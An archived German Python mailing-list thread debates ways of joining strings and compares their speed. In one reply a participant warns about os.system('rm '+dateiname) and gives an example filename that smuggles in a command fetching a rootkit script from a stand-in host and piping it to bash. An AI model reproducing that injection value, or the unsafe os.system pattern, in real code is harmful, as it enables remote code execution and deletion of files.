Groups | Search | Server Info | Keyboard shortcuts | Login | Register [http] [https] [nntp] [nntps]
Groups > de.comp.lang.python > #4860 > unrolled thread
| Started by | Hermann Riemann <nospam.ng@hermann-riemann.de> |
|---|---|
| First post | 2017-08-25 07:45 +0200 |
| Last post | 2017-09-16 17:30 +0200 |
| Articles | 20 on this page of 49 — 14 participants |
Back to article view | Back to de.comp.lang.python
strings zusammensetzen. Hermann Riemann <nospam.ng@hermann-riemann.de> - 2017-08-25 07:45 +0200
Re: [Python-de] strings zusammensetzen. Mike Müller <mmueller@python-academy.de> - 2017-08-25 08:00 +0200
Re: [Python-de] strings zusammensetzen. Stefan Behnel <python-de@behnel.de> - 2017-08-25 08:05 +0200
Re: [Python-de] strings zusammensetzen. Stefan Schwarzer <sschwarzer@sschwarzer.net> - 2017-08-25 09:08 +0200
Re: [Python-de] strings zusammensetzen. "Tobias Herp" <tobias.herp@gmx.de> - 2017-08-25 10:28 +0200
Re: [Python-de] strings zusammensetzen. ole-usenet-spam@gmx.net (Оlе Ѕtrеісhеr) - 2017-08-25 10:47 +0200
Re: [Python-de] strings zusammensetzen. Tobias Herp <tobias.herp@gmx.de> - 2017-08-25 23:28 +0200
Re: [Python-de] strings zusammensetzen. ole-usenet-spam@gmx.net (Оlе Ѕtrеісhеr) - 2017-08-26 10:30 +0200
Re: [Python-de] strings zusammensetzen. Peter Otten <__peter__@web.de> - 2017-08-26 13:29 +0200
Re: [Python-de] strings zusammensetzen. "Walter Dörwald" <walter@livinglogic.de> - 2017-08-29 17:21 +0200
Re: [Python-de] strings zusammensetzen. Hermann Riemann <nospam.ng@hermann-riemann.de> - 2017-08-30 07:26 +0200
Re: [Python-de] strings zusammensetzen. Stefan Behnel <python-de@behnel.de> - 2017-08-30 07:48 +0200
Re: [Python-de] strings zusammensetzen. Hermann Riemann <nospam.ng@hermann-riemann.de> - 2017-08-30 08:04 +0200
Re: [Python-de] strings zusammensetzen. ole-usenet-spam@gmx.net (Оlе Ѕtrеісhеr) - 2017-08-30 08:23 +0200
Re: [Python-de] strings zusammensetzen. Hermann Riemann <nospam.ng@hermann-riemann.de> - 2017-08-30 09:37 +0200
Re: [Python-de] strings zusammensetzen. Peter Otten <__peter__@web.de> - 2017-08-30 10:23 +0200
Re: [Python-de] strings zusammensetzen. Hermann Riemann <nospam.ng@hermann-riemann.de> - 2017-08-30 20:00 +0200
Re: [Python-de] strings zusammensetzen. "Peter Heitzer" <peter.heitzer@rz.uni-regensburg.de> - 2017-08-30 08:30 +0000
Re: [Python-de] strings zusammensetzen. Hermann Riemann <nospam.ng@hermann-riemann.de> - 2017-08-30 20:03 +0200
Re: [Python-de] strings zusammensetzen. Thomas Orgelmacher <trash@odbs.org> - 2017-08-30 20:21 +0200
Re: [Python-de] strings zusammensetzen. Hermann Riemann <nospam.ng@hermann-riemann.de> - 2017-08-31 14:31 +0200
Re: [Python-de] strings zusammensetzen. Thomas Orgelmacher <trash@odbs.org> - 2017-08-31 19:26 +0200
Re: [Python-de] strings zusammensetzen. Peter Otten <__peter__@web.de> - 2017-08-30 21:24 +0200
Re: [Python-de] strings zusammensetzen. Hermann Riemann <nospam.ng@hermann-riemann.de> - 2017-08-31 14:40 +0200
Re: [Python-de] strings zusammensetzen. Peter Otten <__peter__@web.de> - 2017-08-31 15:26 +0200
Re: [Python-de] strings zusammensetzen. "Peter J. Holzer" <hjp-usenet3@hjp.at> - 2017-09-16 09:45 +0200
Re: [Python-de] strings zusammensetzen. Thomas Orgelmacher <trash@odbs.org> - 2017-08-31 19:11 +0200
Re: [Python-de] strings zusammensetzen. Hermann Riemann <nospam.ng@hermann-riemann.de> - 2017-09-01 09:12 +0200
Re: [Python-de] strings zusammensetzen. Thomas Orgelmacher <trash@odbs.org> - 2017-09-01 21:06 +0200
Re: [Python-de] strings zusammensetzen. Stefan Behnel <python-de@behnel.de> - 2017-09-01 21:43 +0200
Re: [Python-de] strings zusammensetzen. Arnold Krille <arnold@arnoldarts.de> - 2017-09-02 15:23 +0200
Re: [Python-de] strings zusammensetzen. "Walter Dörwald" <walter@livinglogic.de> - 2017-08-30 11:53 +0200
Re: [Python-de] strings zusammensetzen. Mike Müller <mmueller@python-academy.de> - 2017-08-30 16:14 +0200
Re: [Python-de] strings zusammensetzen. Mike Müller <mmueller@python-academy.de> - 2017-08-25 11:18 +0200
Re: [Python-de] strings zusammensetzen. Stefan Schwarzer <sschwarzer@sschwarzer.net> - 2017-08-25 12:40 +0200
Re: [Python-de] strings zusammensetzen. Tobias Herp <tobias.herp@gmx.de> - 2017-08-25 23:41 +0200
Re: [Python-de] strings zusammensetzen. "Dr. Volker Jaenisch" <volker.jaenisch@inqbus.de> - 2017-08-26 02:34 +0200
Re: strings zusammensetzen. Thomas Orgelmacher <trash@odbs.org> - 2017-08-29 19:05 +0200
Re: strings zusammensetzen. ole-usenet-spam@gmx.net (Оlе Ѕtrеісhеr) - 2017-08-30 08:32 +0200
Re: strings zusammensetzen. "Peter J. Holzer" <hjp-usenet3@hjp.at> - 2017-09-16 09:28 +0200
Re: [Python-de] strings zusammensetzen. Stefan Behnel <python-de@behnel.de> - 2017-09-16 10:33 +0200
Re: [Python-de] strings zusammensetzen. "Peter J. Holzer" <hjp-usenet3@hjp.at> - 2017-09-16 22:46 +0200
Re: [Python-de] strings zusammensetzen. Stefan Behnel <python-de@behnel.de> - 2017-09-17 08:19 +0200
Re: [Python-de] strings zusammensetzen. "Peter J. Holzer" <hjp-usenet3@hjp.at> - 2017-09-17 12:34 +0200
Re: [Python-de] strings zusammensetzen. ole-usenet-spam@gmx.net (Оlе Ѕtrеісhеr) - 2017-09-17 10:50 +0200
Re: [Python-de] strings zusammensetzen. Stefan Behnel <python-de@behnel.de> - 2017-09-17 11:14 +0200
Re: [Python-de] strings zusammensetzen. "Peter J. Holzer" <hjp-usenet3@hjp.at> - 2017-09-17 14:19 +0200
Re: strings zusammensetzen. Hermann Riemann <nospam.ng@hermann-riemann.de> - 2017-09-16 16:19 +0200
Re: [Python-de] strings zusammensetzen. Stefan Behnel <python-de@behnel.de> - 2017-09-16 17:30 +0200
Page 1 of 3 [1] 2 3 Next page →
| From | Hermann Riemann <nospam.ng@hermann-riemann.de> |
|---|---|
| Date | 2017-08-25 07:45 +0200 |
| Subject | strings zusammensetzen. |
| Message-ID | <f09rraFsnvuU1@mid.individual.net> |
Was ist besser?
a b und c enthalten strings.
d=a+b+c besser als
d="{}{}{}".format(a,b,c) ?
Hermann
der hier nicht an Lesbarkeit denkt.
--
http://www.hermann-riemann.de
[toc] | [next] | [standalone]
| From | Mike Müller <mmueller@python-academy.de> |
|---|---|
| Date | 2017-08-25 08:00 +0200 |
| Subject | Re: [Python-de] strings zusammensetzen. |
| Message-ID | <mailman.218.1503640820.2689.python-de@python.org> |
| In reply to | #4860 |
Am 25.08.17 um 07:45 schrieb Hermann Riemann:
> Was ist besser?
> a b und c enthalten strings.
>
> d=a+b+c besser als
> d="{}{}{}".format(a,b,c) ?
Vielleicht etwas mehr "pythonic" wäre:
d = ''.join([a, b, c])
Mike
>
> Hermann
> der hier nicht an Lesbarkeit denkt.
>
[toc] | [prev] | [next] | [standalone]
| From | Stefan Behnel <python-de@behnel.de> |
|---|---|
| Date | 2017-08-25 08:05 +0200 |
| Subject | Re: [Python-de] strings zusammensetzen. |
| Message-ID | <mailman.220.1503641849.2689.python-de@python.org> |
| In reply to | #4860 |
Hermann Riemann schrieb am 25.08.2017 um 07:45:
> Was ist besser?
> a b und c enthalten strings.
Text-Strings? Byte-Strings? Definitiv Strings oder auch mal Bytearrays,
Memoryviews, NumPy-Arrays oder sowas?
> d=a+b+c besser als
> d="{}{}{}".format(a,b,c) ?
Ersteres finde ich in dem Fall deutlich lesbarer.
> Hermann
> der hier nicht an Lesbarkeit denkt.
Woran dann? An Wiederverwendbarkeit? Code-Schönheit?
Pulitzerpreisfähigkeit? Geschwindigkeit?
Bei ersteren kann ich so pauschal nichts sagen. Bei letzterem hilft "timeit".
Wenn es kurze Strings sind, ist es vermutlich eh egal. Aber ich vermute
mal, dass die erste Variante dann zumindest messbar schneller ist.
Wenn es wirklich lange Strings sind macht es vielleicht einen Unterschied,
aber auch noch nicht unbedingt bei drei Strings.
Hängt auch sehr von deiner Python-Version ab.
Stefan
[toc] | [prev] | [next] | [standalone]
| From | Stefan Schwarzer <sschwarzer@sschwarzer.net> |
|---|---|
| Date | 2017-08-25 09:08 +0200 |
| Subject | Re: [Python-de] strings zusammensetzen. |
| Message-ID | <mailman.223.1503644926.2689.python-de@python.org> |
| In reply to | #4860 |
On 2017-08-25 07:45, Hermann Riemann wrote:> Was ist besser?
> a b und c enthalten strings.
>
> d=a+b+c besser als
> d="{}{}{}".format(a,b,c) ?
Die zweite Variante ist das übliche Idiom, wenn es um die Kombination
von Strings geht. Ein Vorteil ist auch, dass man sieht, dass das
Ergebnis `d` ein String ist.
Die erste Variante hat wiederum den Vorteil, dass sie kürzer und etwas
übersichtlicher ist. Es ist offensichtlich, dass `a`, `b` und `c` so
beschaffen sind, dass man sie "addieren" kann. Bei der der zweiten
Variante könnten `a`, `b` und `c` auch alle möglichen Objekte sein,
die sich in einen String umwandeln lassen (was in Python praktisch
immer der Fall ist).
Die in einem anderen Beitrag genannte Variante mit `"".join` würde ich
hier nicht nehmen. Diese Variante wäre aber die erste Wahl, wenn man
viele Strings verbinden will, die dann sehr wahrscheinlich auch in
einer Liste oder einem anderen Iterable vorliegen werden.
Über die Laufzeit würde ich mir erst mal keine Gedanken machen. Ob man
diese Codestelle optimieren muss oder ob ganz andere Stellen im Code
einen viel größeren Einfluss haben, zeigt sich erst später beim
Profiling.
> der hier nicht an Lesbarkeit denkt.
Ich aber. :-) Lesbarkeit ist meiner Meinung nach ein Kriterium, das
man immer berücksichtigen sollte. Damit meine ich _nicht_, dass sich
der Lesbarkeit immer alle anderen Kriterien unterordnen sollte.
Ich denke, ich würde in meinem Code die zweite Variante verwenden.
Viele Grüße
Stefan
[toc] | [prev] | [next] | [standalone]
| From | "Tobias Herp" <tobias.herp@gmx.de> |
|---|---|
| Date | 2017-08-25 10:28 +0200 |
| Subject | Re: [Python-de] strings zusammensetzen. |
| Message-ID | <mailman.225.1503650044.2689.python-de@python.org> |
| In reply to | #4860 |
>> a b und c enthalten strings.
>>
>> d=a+b+c besser als # Variante 1
>> d="{}{}{}".format(a,b,c) ? # Variante 2
>Die zweite Variante ist das übliche Idiom, wenn es um die Kombination
>von Strings geht.
Wirklich? Himmel hilf!
Das wäre wirklich die letzte Version, die mir einfallen würde - nicht nur, weil ich, der ich die Flexibilität der format-Methode praktisch nie benötige, diese selten verwende.
PEP 20.2, "Explicit is better than implicit."
PEP 20.3, "Simple is better than complex."
Wenn ich drei Variablen habe, von denen ich weiß, daß es Strings sind, verwende ich keinen Code, der auch beliebigen anderen Input stillschweigend (implizit) konvertiert.
Wenn ich addieren will, addiere ich.
Von daher spricht nichts gegen Variante 1:
d = a + b + c
PEP 20.7, "Readability counts."
Variante 1 ist prima lesbar, aber möglicherweise besteht tatsächlich ds Bedürfnis, dem Leser zu "beweisen", daß das Ergebnis ein String ist.
Dann erfüllt die "Variante 3" den Zweck:
d = ''.join([a, b, c])
(die sich auch immer für inkrementell zusammengebaute Strings anbietet).
Sie hat den weiteren Vorteil, daß sie fehlschlägt, wenn eine der Eingabevariablen kein String ist:
PEP 20.10, "Errors should never pass silently."
Ich kann sogar die Lesbar- und auch Änderbarkeit noch auf die Spitze treiben:
d = ''.join([a, # Erklärung des ganz woanders erzeugten Wertes a
b, # dto. für b
c, # dto. für c
])
Dies ist sehr leicht änderbar, wenn ein Element hinzukommt, geändert wird oder entfällt. Vergleichs-Tools arbeiten zeilenorientiert.
Die "Variante 3" konvertiert Nicht-Strings stillschweigend. Was aber, wenn ich ganz selbstverständlich davon ausgehe, daß es Strings sind, und eine Abweichung hiervon ein sicheres Zeichen für einen Fehler ist? Ich verplempere nicht nur eine Menge Rechenzeit, sondern verberge auch noch den Fehler:
PEP 20.10, "Errors should never pass silently."
Wenn ich die implizite String-Konversion will, kann ich das auch so erreichen:
d = ''.join(map(str, [a, b, c]))
Damit weise ich darauf hin, daß ich damit rechne, daß die Eingabewerte möglicherweise keine Strings sind, aber in solche konvertiert werden können:
PEP 20.11, "Unless explicitly silenced."
Schlußendlich hat Variante 2 noch einen weiteren Nachteil: sie ist umständlich zu ändern.
Wenn sich die Anzahl der zu verkettenden Strings ändert, muß sowohl ein "{}" hinzugefügt oder gelöscht *als auch* die eigentliche Änderung vorgenommen werden.
Bei drei Argumenten mag das gerade noch vertretbar sein; aber schon bei wenig mehr fängt die Zählerei an.
Also, ganz eindeutig: Variante 1 oder 3, aber keinesfalls 2.
--
Schönen Gruß,
Tobias
[toc] | [prev] | [next] | [standalone]
| From | ole-usenet-spam@gmx.net (Оlе Ѕtrеісhеr) |
|---|---|
| Date | 2017-08-25 10:47 +0200 |
| Subject | Re: [Python-de] strings zusammensetzen. |
| Message-ID | <ytz1so08253.fsf@news.ole.ath.cx> |
| In reply to | #4864 |
"Tobias Herp" <tobias.herp@gmx.de> writes:
>>> a b und c enthalten strings.
>>>
>>> d=a+b+c besser als # Variante 1
>>> d="{}{}{}".format(a,b,c) ? # Variante 2
>
>>Die zweite Variante ist das übliche Idiom, wenn es um die Kombination
>>von Strings geht.
>
> Wirklich? Himmel hilf!
Das hängt IMO stark vom Use-Case ab. Oft hat man z.B. solche
String-Concatenierungen im Zusammenhang mit der Erstellung von
Dateinamen. Und da wäre es besser, ein Template zu verwenden -- genau im
Sinne von "explizit ist besser als implizit":
d = "{base}{revision}{suffix}".format(base = a,
revision = b,
suffix = c)
Allgemein würde ich, wenn es sich um Strings handelt, immer genau
schauen, ob man nicht eigentlich ein Template füllen möchte, das nur
gerade zufällig sehr einfach ausfällt.
Schöne Grüße
Ole
[toc] | [prev] | [next] | [standalone]
| From | Tobias Herp <tobias.herp@gmx.de> |
|---|---|
| Date | 2017-08-25 23:28 +0200 |
| Subject | Re: [Python-de] strings zusammensetzen. |
| Message-ID | <mailman.239.1503696106.2689.python-de@python.org> |
| In reply to | #4865 |
[Multipart message — attachments visible in raw view] — view raw
Оlе Ѕtrеісhеr schrieb am 25.08.2017 um 10:47:
> "Tobias Herp" <tobias.herp@gmx.de> writes:
>>>> a b und c enthalten strings.
>>>>
>>>> d=a+b+c besser als # Variante 1
>>>> d="{}{}{}".format(a,b,c) ? # Variante 2
>>
>>> Die zweite Variante ist das übliche Idiom, wenn es um die Kombination
>>> von Strings geht.
>>
>> Wirklich? Himmel hilf!
>
> Das hängt IMO stark vom Use-Case ab. Oft hat man z.B. solche
> String-Concatenierungen im Zusammenhang mit der Erstellung von
> Dateinamen. Und da wäre es besser, ein Template zu verwenden -- genau im
> Sinne von "explizit ist besser als implizit":
Nur dadurch, daß etwas umständlich programmiert ist, wird es noch nicht
expliziter. Und umständlich ist es, wenn man zum Hinzufügen einer
weiteren Variablen zwei Änderungen vornehmen muß.
Es sollte jedenfalls nicht die Antwort auf die Frage sein, wie man in
Python Strings verkettet. Das ist ja schlimmer als die
concat-Funktionen anderen Sprachen!
> d = "{base}{revision}{suffix}".format(base = a,
> revision = b,
> suffix = c)
Wenn's denn unbedingt ein Template sein soll, würde das bei mir meistens
wie folgt aussehen:
d = '%(base)s%(revision)s%(suffix)s' % locals()
(natürlich nennt *niemand* seine Variablen a, b und c, bzw. würde es
nach Lektüre dieses Threads niemals zugeben...)
Im übrigen kann es natürlich jedem Stück Code in einem größeren Projekt
(oder in einer Server-Anwendung) passieren, daß es sehr oft durchlaufen
wird. Und spätestens dann spielt die Performanz eine Rolle. Die
.format-Methode bezahlt für ihre (ich behaupte: in mindestens 95% der
Fälle nicht benötigte) zusätzliche Flexibilität mit sehr viel
schlechterer Performanz.
> Allgemein würde ich, wenn es sich um Strings handelt, immer genau
> schauen, ob man nicht eigentlich ein Template füllen möchte, das nur
> gerade zufällig sehr einfach ausfällt.
Man kann es auch übertreiben mit der vorausschauenden Komplexität.
Wie heißt es doch so schön - YAGNI!
You ain't gonna need it!
Schönenn Gruß,
Tobias
--
Ceterum censeo:
Etwaige .sig-Dateien brauchen nicht geöffnet zu werden!
Siehe <http://www.gnupg.org/>, <http://enigmail.mozdev.org/>
[toc] | [prev] | [next] | [standalone]
| From | ole-usenet-spam@gmx.net (Оlе Ѕtrеісhеr) |
|---|---|
| Date | 2017-08-26 10:30 +0200 |
| Subject | Re: [Python-de] strings zusammensetzen. |
| Message-ID | <87ziam689m.fsf@gmx.net> |
| In reply to | #4868 |
Tobias Herp <tobias.herp@gmx.de> writes:
> Оlе Ѕtrеісhеr schrieb am 25.08.2017 um 10:47:
>> "Tobias Herp" <tobias.herp@gmx.de> writes:
>>>>> a b und c enthalten strings.
>>>>>
>>>>> d=a+b+c besser als # Variante 1
>>>>> d="{}{}{}".format(a,b,c) ? # Variante 2
>>>
>>>> Die zweite Variante ist das übliche Idiom, wenn es um die Kombination
>>>> von Strings geht.
>>>
>>> Wirklich? Himmel hilf!
>>
>> Das hängt IMO stark vom Use-Case ab. Oft hat man z.B. solche
>> String-Concatenierungen im Zusammenhang mit der Erstellung von
>> Dateinamen. Und da wäre es besser, ein Template zu verwenden -- genau im
>> Sinne von "explizit ist besser als implizit":
>
> Nur dadurch, daß etwas umständlich programmiert ist, wird es noch nicht
> expliziter. Und umständlich ist es, wenn man zum Hinzufügen einer
> weiteren Variablen zwei Änderungen vornehmen muß.
Das hängt eben von der Anwendung ab. Wenn die Aufgabe war, "n
gleichwertige Strings concatenieren mit dem Spezialfall n=3", hast Du
recht.
Wenn die Aufgabe ist "einen String aus semantisch unterschiedlichen
Strings nach einer bestimmten Regel erzeugen (und die Regel ist erstmal
die einfache Aneinanderfügung)", dann ist format() besser. In diesem
Fall ist auch klar, dass eine Erweiterung typischerweise zwei Änderungen
erfordert: einmal muss die Regel selbst geändert werden, und dann muss
man natürlich die zugehörigen Daten zur Verfügung stellen.
>> d = "{base}{revision}{suffix}".format(base = a,
>> revision = b,
>> suffix = c)
>
> Wenn's denn unbedingt ein Template sein soll, würde das bei mir meistens
> wie folgt aussehen:
>
> d = '%(base)s%(revision)s%(suffix)s' % locals()
Warum sollte man die veraltete Form mit "%" verwenden?
> (natürlich nennt *niemand* seine Variablen a, b und c, bzw. würde es
> nach Lektüre dieses Threads niemals zugeben...)
a, b und c habe ich hier als Platzhalter interpretiert, nicht
notwendig als Variablen.
> Im übrigen kann es natürlich jedem Stück Code in einem größeren Projekt
> (oder in einer Server-Anwendung) passieren, daß es sehr oft durchlaufen
> wird. Und spätestens dann spielt die Performanz eine Rolle. Die
> .format-Methode bezahlt für ihre (ich behaupte: in mindestens 95% der
> Fälle nicht benötigte) zusätzliche Flexibilität mit sehr viel
> schlechterer Performanz.
Man sollte nicht zu früh optimieren, und Lesbarkeit geht häufig über
Effizienz. In dem von mir gebrachten Beispiel (Generierung eines
Dateinamens): Nach der Bildung eines Dateinamens erfolgt fast immer eine
I/O-Operation mit dieser Datei, und die ist viel langsamer als jede
String-Format-Operation. Und zwar selbst dann, wenn sie "irgendwann" mal
in einer Server-Anwendung läuft.
>> Allgemein würde ich, wenn es sich um Strings handelt, immer genau
>> schauen, ob man nicht eigentlich ein Template füllen möchte, das nur
>> gerade zufällig sehr einfach ausfällt.
>
> Man kann es auch übertreiben mit der vorausschauenden Komplexität.
> Wie heißt es doch so schön - YAGNI!
> You ain't gonna need it!
Man sollte sich einfach Gedanken um seinen Code machen, bevor man ihn
schreibt. Gerade im Fall der Generierung von Dateinamen habe ich zu
Anfang häufig einfach Strings concateniert, und (weils so einfach ist)
das auch noch gleich lokal da, wo ichs brauchte. Wenn dann jemand kam
und einen zusätzlichen Bindestrich drin haben wollte, habe ich geflucht
und alle Stellen, wo ich den Dateinamen zusammengebaut habe, wieder
herausgesucht und geändert. Ein (gemeinsames) Template für diese Stellen
vermeidet das bei mir in neueren Projekten, selbst wenn das meist
erstmal so aussieht wie oben (und damit einfach drei Strings
concateniert).
Schöne Grüße
Ole
P.S. Ich brauche keine Mailkopie.
[toc] | [prev] | [next] | [standalone]
| From | Peter Otten <__peter__@web.de> |
|---|---|
| Date | 2017-08-26 13:29 +0200 |
| Subject | Re: [Python-de] strings zusammensetzen. |
| Message-ID | <mailman.243.1503747075.2689.python-de@python.org> |
| In reply to | #4865 |
Tobias Herp wrote:
>> d = "{base}{revision}{suffix}".format(base = a,
>>revision = b,
>>suffix = c)
>
> Wenn's denn unbedingt ein Template sein soll, würde das bei mir meistens
> wie folgt aussehen:
>
> d = '%(base)s%(revision)s%(suffix)s' % locals()
>
Wurde schon erwähnt, dass ab 3.6 alternativ dazu auch
>>> base, revision, suffix = "foo", "bar", "baz"
>>> f"{base}{revision}{suffix}"
'foobarbaz'
möglich ist?
Das vermeidet ggf. das Erstellen eines temporären dicts.
[toc] | [prev] | [next] | [standalone]
| From | "Walter Dörwald" <walter@livinglogic.de> |
|---|---|
| Date | 2017-08-29 17:21 +0200 |
| Subject | Re: [Python-de] strings zusammensetzen. |
| Message-ID | <mailman.288.1504021504.2689.python-de@python.org> |
| In reply to | #4865 |
On 26 Aug 2017, at 13:29, Peter Otten wrote:
> Tobias Herp wrote:
>
>>> d = "{base}{revision}{suffix}".format(base = a,
>>> revision = b,
>>> suffix = c)
>>
>> Wenn's denn unbedingt ein Template sein soll, würde das bei mir
>> meistens
>> wie folgt aussehen:
>>
>> d = '%(base)s%(revision)s%(suffix)s' % locals()
>>
>
> Wurde schon erwähnt, dass ab 3.6 alternativ dazu auch
>
>>>> base, revision, suffix = "foo", "bar", "baz"
>>>> f"{base}{revision}{suffix}"
> 'foobarbaz'
>
> möglich ist?
>
> Das vermeidet ggf. das Erstellen eines temporären dicts.
Das ist auch mit Abstand die schnellste Variante:
Python 3.6.2 (default, Jul 26 2017, 16:42:24)
Type 'copyright', 'credits' or 'license' for more information
IPython 6.1.0 -- An enhanced Interactive Python. Type '?' for help.
In [1] ▶ base, revision, suffix = "foo", "bar", "baz"
In [2] ▶ %timeit base + revision + suffix
208 ns ± 0.532 ns per loop (mean ± std. dev. of 7 runs, 1000000 loops
each)
In [3] ▶ %timeit '%s%s%s' % (base, revision, suffix)
315 ns ± 1.55 ns per loop (mean ± std. dev. of 7 runs, 1000000 loops
each)
In [4] ▶ %timeit '{}{}{}'.format(base, revision, suffix)
462 ns ± 1.23 ns per loop (mean ± std. dev. of 7 runs, 1000000 loops
each)
In [5] ▶ %timeit f'{base}{revision}{suffix}'
14.6 ns ± 0.00911 ns per loop (mean ± std. dev. of 7 runs, 100000000
loops each)
Servus,
Walter
[toc] | [prev] | [next] | [standalone]
| From | Hermann Riemann <nospam.ng@hermann-riemann.de> |
|---|---|
| Date | 2017-08-30 07:26 +0200 |
| Subject | Re: [Python-de] strings zusammensetzen. |
| Message-ID | <f0n0kkFt57tU1@mid.individual.net> |
| In reply to | #4873 |
Am 29.08.2017 um 17:21 schrieb Walter Dörwald:
> Python 3.6.2 (default, Jul 26 2017, 16:42:24)
> Type 'copyright', 'credits' or 'license' for more information
> IPython 6.1.0 -- An enhanced Interactive Python. Type '?' for help.
> In [1] ▶ base, revision, suffix = "foo", "bar", "baz"
> In [2] ▶ %timeit base + revision + suffix
> 208 ns ± 0.532 ns per loop (mean ± std. dev. of 7 runs, 1000000 loops each)
> In [3] ▶ %timeit '%s%s%s' % (base, revision, suffix)
> 315 ns ± 1.55 ns per loop (mean ± std. dev. of 7 runs, 1000000 loops each)
> In [4] ▶ %timeit '{}{}{}'.format(base, revision, suffix)
> 462 ns ± 1.23 ns per loop (mean ± std. dev. of 7 runs, 1000000 loops each)
> In [5] ▶ %timeit f'{base}{revision}{suffix}'
> 14.6 ns ± 0.00911 ns per loop (mean ± std. dev. of 7 runs, 100000000
> loops each)
Daraus lese ich:
a+b+c ist schneller als "%s%s%s"%(a,b,c),
"%a%b%c"%(a,b,c) ist schneller als "{}{}{}".format(a,b,c).
Das mit 14.6 ns ist Hinweis,
das in diesem Fall keine Zwischenwerte der Art (a+b)+c erstellt wurden.
Hermann
der jetzt wieder eher os.system("rm "+dateiname)
statt os.system("rm {}".format(dateiname)) schreiben wird.
--
http://www.hermann-riemann.de
[toc] | [prev] | [next] | [standalone]
| From | Stefan Behnel <python-de@behnel.de> |
|---|---|
| Date | 2017-08-30 07:48 +0200 |
| Subject | Re: [Python-de] strings zusammensetzen. |
| Message-ID | <mailman.297.1504072132.2689.python-de@python.org> |
| In reply to | #4876 |
Hermann Riemann schrieb am 30.08.2017 um 07:26:
> Hermann
> der jetzt wieder eher os.system("rm "+dateiname)
> statt os.system("rm {}".format(dateiname)) schreiben wird.
dateiname = "-f; wget -O - http://evil-bash-scripts.org/rootkit.sh | bash"
(Geht natürlich viel besser und portabler auch mit Python-Skripten, wäre
aber ein bisschen länger als die eine Zeile.)
Übrigens, da es gerade um Geschwindigkeit ging - ich wette, mit
os.system("rm "+dateiname)
kannst du die Datei deutlich schneller löschen als mit
os.system("rm {}".format(dateiname))
oder gar mit
os.unlink(dateiname)
Stefan ;)
[toc] | [prev] | [next] | [standalone]
| From | Hermann Riemann <nospam.ng@hermann-riemann.de> |
|---|---|
| Date | 2017-08-30 08:04 +0200 |
| Subject | Re: [Python-de] strings zusammensetzen. |
| Message-ID | <f0n2reFtjk0U1@mid.individual.net> |
| In reply to | #4877 |
Am 30.08.2017 um 07:48 schrieb Stefan Behnel:
> Übrigens, da es gerade um Geschwindigkeit ging - ich wette, mit
> os.system("rm "+dateiname)
> kannst du die Datei deutlich schneller löschen als mit
> os.system("rm {}".format(dateiname))
> oder gar mit
> os.unlink(dateiname)
Die zeitlichen Unterschiede dürften meist gering sein.
Hermann
der wegen des Lernaufwandes und Manual Suchens
lieber os.system("rm "+dateiname)
als os.unlink(dateiname) verwendet.
--
http://www.hermann-riemann.de
[toc] | [prev] | [next] | [standalone]
| From | ole-usenet-spam@gmx.net (Оlе Ѕtrеісhеr) |
|---|---|
| Date | 2017-08-30 08:23 +0200 |
| Subject | Re: [Python-de] strings zusammensetzen. |
| Message-ID | <87fuc94lrq.fsf@gmx.net> |
| In reply to | #4878 |
Hermann Riemann <nospam.ng@hermann-riemann.de> writes:
> Hermann
> der wegen des Lernaufwandes und Manual Suchens
> lieber os.system("rm "+dateiname)
> als os.unlink(dateiname) verwendet.
... bis ihm mal Dateinamen wie "-rf" und "Mail von Spatzi.eml"
unterkommen und er sich dann wundert, wo alle Mails geblieben sind.
Ole
[toc] | [prev] | [next] | [standalone]
| From | Hermann Riemann <nospam.ng@hermann-riemann.de> |
|---|---|
| Date | 2017-08-30 09:37 +0200 |
| Subject | Re: [Python-de] strings zusammensetzen. |
| Message-ID | <f0n8a1F9scU1@mid.individual.net> |
| In reply to | #4879 |
Am 30.08.2017 um 08:23 schrieb Оlе Ѕtrеісhеr:
>> der wegen des Lernaufwandes und Manual Suchens
>> lieber os.system("rm "+dateiname)
>> als os.unlink(dateiname) verwendet.
> ... bis ihm mal Dateinamen wie "-rf" und "Mail von Spatzi.eml"
> unterkommen und er sich dann wundert, wo alle Mails geblieben sind.
Eher beliebt ist "rm * ~" statt "rm *~"
Hermann
der so etwas teilweise durch ein eigenes Programm umgangen hat.
( emacs ist zwar momentan bei Python bockig;
daher ist er auf kate (ohne ~) ausgewichen.)
--
http://www.hermann-riemann.de
[toc] | [prev] | [next] | [standalone]
| From | Peter Otten <__peter__@web.de> |
|---|---|
| Date | 2017-08-30 10:23 +0200 |
| Subject | Re: [Python-de] strings zusammensetzen. |
| Message-ID | <mailman.300.1504082405.2689.python-de@python.org> |
| In reply to | #4881 |
Hermann Riemann wrote: > ( emacs ist zwar momentan bei Python bockig; Streut ungefragt geschweifte Klammern ein? > daher ist er auf kate (ohne ~) ausgewichen.) "ohne ~"? Versteh ich nicht.
[toc] | [prev] | [next] | [standalone]
| From | Hermann Riemann <nospam.ng@hermann-riemann.de> |
|---|---|
| Date | 2017-08-30 20:00 +0200 |
| Subject | Re: [Python-de] strings zusammensetzen. |
| Message-ID | <f0ocp0F31arU1@mid.individual.net> |
| In reply to | #4883 |
Am 30.08.2017 um 10:23 schrieb Peter Otten:
>> daher ist er auf kate (ohne ~) ausgewichen.)
> "ohne ~"? Versteh ich nicht.
emacs und xemacs erzeugen beim Editieren
Kopien der Originaldateien,
deren Dateiname aus Originaldateiname mit angehängtem
'~'-Zeichen bestehen.
Hermann
der mit seinem Löschprogramm für
Dateien mit ~ am Ende auch *.pyc Dateien löschen kann.
--
http://www.hermann-riemann.de
[toc] | [prev] | [next] | [standalone]
| From | "Peter Heitzer" <peter.heitzer@rz.uni-regensburg.de> |
|---|---|
| Date | 2017-08-30 08:30 +0000 |
| Subject | Re: [Python-de] strings zusammensetzen. |
| Message-ID | <f0nbdiFpmfU1@mid.individual.net> |
| In reply to | #4878 |
Hermann Riemann <nospam.ng@hermann-riemann.de> wrote:
>Am 30.08.2017 um 07:48 schrieb Stefan Behnel:
>> Übrigens, da es gerade um Geschwindigkeit ging - ich wette, mit
>> os.system("rm "+dateiname)
>> kannst du die Datei deutlich schneller löschen als mit
>> os.system("rm {}".format(dateiname))
>> oder gar mit
>> os.unlink(dateiname)
>Die zeitlichen Unterschiede dürften meist gering sein.
>Hermann
> der wegen des Lernaufwandes und Manual Suchens
> lieber os.system("rm "+dateiname)
> als os.unlink(dateiname) verwendet.
os.unlink() dürfte aber portabler sein und auch mit Leerzeichen und
anderen speziellen Zeichen in dateiname zurechtkommen. Wer weiss, was
die Shell so treibt.
--
Dipl.-Inform(FH) Peter Heitzer, peter.heitzer@rz.uni-regensburg.de
[toc] | [prev] | [next] | [standalone]
